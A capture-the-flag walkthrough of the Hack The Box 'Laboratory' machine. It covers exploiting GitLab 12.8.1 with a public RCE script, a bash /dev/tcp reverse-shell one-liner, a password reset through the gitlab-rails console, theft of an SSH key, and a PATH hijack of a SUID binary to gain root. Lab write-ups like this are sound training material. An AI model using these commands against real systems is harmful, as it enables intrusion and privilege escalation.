> For the complete documentation index, see [llms.txt](https://4st1nus.gitbook.io/hackthebox/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4st1nus.gitbook.io/hackthebox/htb/hack-the-box-laboratory-walkthrough-without-metasploit.md). # Hack The Box - Laboratory Walkthrough without Metasploit Linux Easy Box where we will have to dig into GitLab and gitlab-rails ending with some path hijacking, but first, let's enumerate ! ![Laboratory](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOOh0cMHlNJvC7Gi2w%2Fimage.png?alt=media\&token=6baea35b-5647-437e-a46a-7cc059d00f04) ## Enumeration Let's start by running nmapAutomator on our target: ``` nmapAutomator 10.10.10.216 All ``` Our basic scan returns the following: ![Nmap Scan](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOgYXnHR15e6iaHWY9%2Fimage.png?alt=media\&token=16aded0f-03a8-4b64-b9e4-ac5bdb663d39) ### Ports We have the following ports open #### 22 This is the SSH (Secure Shell) port, we might be able to use it later to log in if we find any valid username and its password or a valid key. #### 80 HTTP port that redirects to HTTPS one (443) on the Nmap scan we can see that we have discovered **laboratory.htb** and a DNS **git.laboratory.htb** we add both to our /etc/hosts. ![/etc/hosts entry](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOkVPy5N-4gn4IIban%2Fimage.png?alt=media\&token=3a45346c-682f-4589-b0a6-79abc20e91cf) We can also discover the DNS with **gobuster** ```bash gobuster dns -d laboratory.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 40 ``` ![Gobuster DNS fuzz](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOk-ehoIANZA0HPFNg%2Fimage.png?alt=media\&token=c64106bb-4e48-49e1-adfb-a4e9aceb0fe5) #### 443 This port is related to HTTPS, and it's the one we will access while trying to go to **** so let's try to see if there's anything interesting: ![Web](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOl4Qz1HQRwxQQz5u-%2Fimage.png?alt=media\&token=dc47ca23-65f5-4187-ab8e-0bf297bfacc1) After some enumeration on the web page, we couldn't find much of interest so let's go to **** here we will see a GitLab Community Edition running, and we can Register ### GitLab ![Trying to register a GitLab account](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOloiv5Vk7g13AJLMI%2Fimage.png?alt=media\&token=720245a5-1998-4686-9131-c7edc8486b97) We must use the email domain of laboratory in order to be able to successfully register: ![Using the correct Email domain](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOmQnUr0cM-EtK6OVW%2Fimage.png?alt=media\&token=6c69acee-b8e7-4b25-a429-5c954792441a) And once we click on Register we are in as our new user **evil** ![Logged in Laboratory GitLab](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOnPpFIIUbgojhJ_Mf%2Fimage.png?alt=media\&token=e3c56f66-281f-41f1-af41-f6f3749052e0) Looking through the page we can enumerate the GitLab version quite easily, we go to Help and it'll appear: ![GitLab Version 12.8.1](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOoO5Ux6Vi8_FSVb8V%2Fimage.png?alt=media\&token=0628429d-0393-4a26-a002-aeae93857f6e) Searching for possible vulnerabilities on this version we found this report on HackerOne: {% embed url="" %} Arbitrary file read via UploadsRewriter {% endembed %} That leads us to this git repository: {% embed url="" %} gitlab\_RCE {% endembed %} Let's clone the repository and inspect the python code! ```bash git clone https://github.com/dotPY-hax/gitlab_RCE ``` We have to modify the script since this GitLab has restricted email domains, and also we change the port on where we will be listening: ![Script modification](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOr4yL1aPmT1t9EFWX%2Fimage.png?alt=media\&token=2a391d1e-ad1f-46e9-bbd5-2a17ffdf5a32) We prepare a netcat listener on port 9009: ```bash nc -nvlp 9009 ``` Now we can use the script: ```bash python3 gitlab_rce.py https://git.laboratory.htb ``` We have to choose the option 2 since we want RCE and our version is 12.8.1, the script will stop and ask us if we already have a listener (how nice). We can also see what it is doing: * Registering user hcbh4toQHD:IWTygssOAM * Creating project by8giL18px * Creating project qQfLhudoho * Creating issue gggHd8VkFn for project by8giL18px * Moving issue from by8giL18px to qQfLhudoho * Grabbing file secrets.yml * Deploying payload * Delete user hcbh4toQHD ![Gitlab Rce](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOuhtj70C5gl32u56h%2F-MYOvFWUFleAu5SXd26X%2Fimage.png?alt=media\&token=3a8105a7-d518-4fae-bf69-2bdb0943044e) The shell really is unstable, whenever we press enter it fades: ![Unstable Shell](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOuEBE6bNGLDpK8xXt%2Fimage.png?alt=media\&token=25e292e7-4ffe-4b23-9f43-487496e7ba17) As soon as we get in we start another listener and the first command we type in is another reverse to make it a bit more stable: ```bash /bin/bash -c 'bash -i >& /dev/tcp// 0>&1' ``` ![Reverse Shell](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOuWi19PxvrdXAHqfT%2Fimage.png?alt=media\&token=27150eec-ece1-4ff5-aed2-7dc8fcdce4bf) On our other shell we grab the incoming connection: ![Stable Reverse](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOuhtj70C5gl32u56h%2F-MYOwMQMgLSKxSLOsQkQ%2Fimage.png?alt=media\&token=06a09baa-d0e2-4d75-865d-c3f560a99330) We are in as git user, enumerating we will find out that we are inside a Docker container: ![.dockerenv](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOuhtj70C5gl32u56h%2F-MYOwkEhMz9VdPEYoJj_%2Fimage.png?alt=media\&token=0bd6af61-0949-4390-9168-3361e936fc03) ## Privilege Escalation ### Gitlab-rails We are inside a container but we cannot escape yet, although we see that we have **gitlab-rails**: \~/**gitlab-rails**/working, searching about gitlab-rails we found two interesting pages: {% embed url="" %} {% embed url="" %} Both links pointing to how change or look users with gitlab-rails console. First we set the environment to production: ```bash gitlab-rails console -e production ``` ![Production Environment](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOwoZMquqOAtW3Q3-M%2F-MYOzLEh-uFTvtAhKk_N%2Fimage.png?alt=media\&token=d06effbb-90b1-43a9-a0f7-3498b6049c7f) Now we can find users by id, we load the first user on the variable user ```bash user = User.find_by(id: 1) ``` ![Dexter](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOwoZMquqOAtW3Q3-M%2F-MYOz_w8NI7LNlAg4pHj%2Fimage.png?alt=media\&token=2372f8c3-083d-495e-8425-977e89ffe2d4) Let's modify a bit the user * user.password --> set a new password * user.password\_confirmation --> confirm new password * user.save! --> save new configuration ![New Dexter password](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOwoZMquqOAtW3Q3-M%2F-MYP-8NGWsa0qti5aA3s%2Fimage.png?alt=media\&token=70a7a77c-e164-4591-9681-ef8a469441e0) Let's try to log in GitLab with **dexter** and our new password **evilpass** ![Impersonating Dexter](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP3FekYACYMeX8TBJF%2Fimage.png?alt=media\&token=c2a2bc60-59e1-4c9a-91c1-69b54ce5d95c) Once we are logged in we can see there are two repositories: ![Dexter Repositories](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP3a4Ui8ybqfbTluYQ%2Fimage.png?alt=media\&token=34e38995-e486-46f6-8d1a-df922de07731) If we enter on **SecureDocker** project we will find an interesting folder: ![Dexter folder](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP4AssV1CNiUWpb9Le%2Fimage.png?alt=media\&token=ed7ac12c-729c-48ee-a7ee-64140a3484bb) Inside that folder there is an even more interesting one! ![SSH folder](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP4R2y27bcJtPL9zw4%2Fimage.png?alt=media\&token=b6f3ccc4-df55-4808-9fe4-41f0de0bc506) Inside .ssh we have the id\_rsa key that will allow us to log in as Dexter ![id\_rsa](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP4jTOdr45zaD38Tlc%2Fimage.png?alt=media\&token=9d8b252e-a77e-4ec8-8cf4-5c9d4e449c91) We copy that id\_rsa into a file in our box and chmod 600 it in order to be able to use it with ssh to log in: ```bash chmod 600 dexterssh ssh -i dexterssh dexter@10.10.10.216 ``` ![In as Dexter](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP5D07PZIlkoOASqvU%2Fimage.png?alt=media\&token=f903c029-ad37-43de-bb08-c7fd141d03a7) At this point we can grab our user hash, once we do it lets enumerate and try to escalate privileges ### Dexter Privilege Escalation We get **suid3num.py** to the box to see if there are binaries with SUID: {% embed url="" %} Suid3num.py {% endembed %} Set a SimpleHTTPServer on our box: ```bash python -m SimpleHTTPServer ``` On Laboratory shell as dexter grab the script and execute it: ```bash wget /suidnum.py chmod +x suid3num.py python3 suid3num.py ``` ![Getting Suid3num.py to the box](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP8gtdTmJgWT7c5x41%2Fimage.png?alt=media\&token=fa24dbcf-e95d-4885-afaa-6ed59be2b603) We can see there is a Custom SUID Binary ![](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP7MOZup4NOX8lB1-e%2Fimage.png?alt=media\&token=27baacfd-2049-4c2d-a41d-0723e403f218) Inspecting the binary with **ltrace**: It's setting uid and gid to 0 (**root**) and then using chmod without full path, we can hijack that to become root: ![chmod without full path as root](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP9qjVFHYtkCnT3LNR%2Fimage.png?alt=media\&token=6f395be1-a0c6-4467-b7db-efdb5ac69b96) #### Hijacking chmod Since it's using chmod without the full path, it will be looking through all the directories in our **$PATH** variable and will use the first chmod that it finds. Knowing that we will prepend to our PATH **/tmp/.folder** and there we will create a file called **chmod** on where we will put **/bin/bash** and make it executable: ```bash export PATH=/tmp/.folder:$PATH echo "/bin/bash" > chmod chmod +x chmod ``` ![Hijacking chmod](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYPAiOGlLsyApRu0wFb%2Fimage.png?alt=media\&token=9ce69de9-3d57-46dd-b195-46a8f618a254) ## Pwnd If we execute the SUID binary now: ```bash /usr/local/bin/docker-security ``` ![We are root](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYPAua92KgJDOlQrf9-%2Fimage.png?alt=media\&token=fdc78fa3-7877-4c82-986e-3f36828a4508)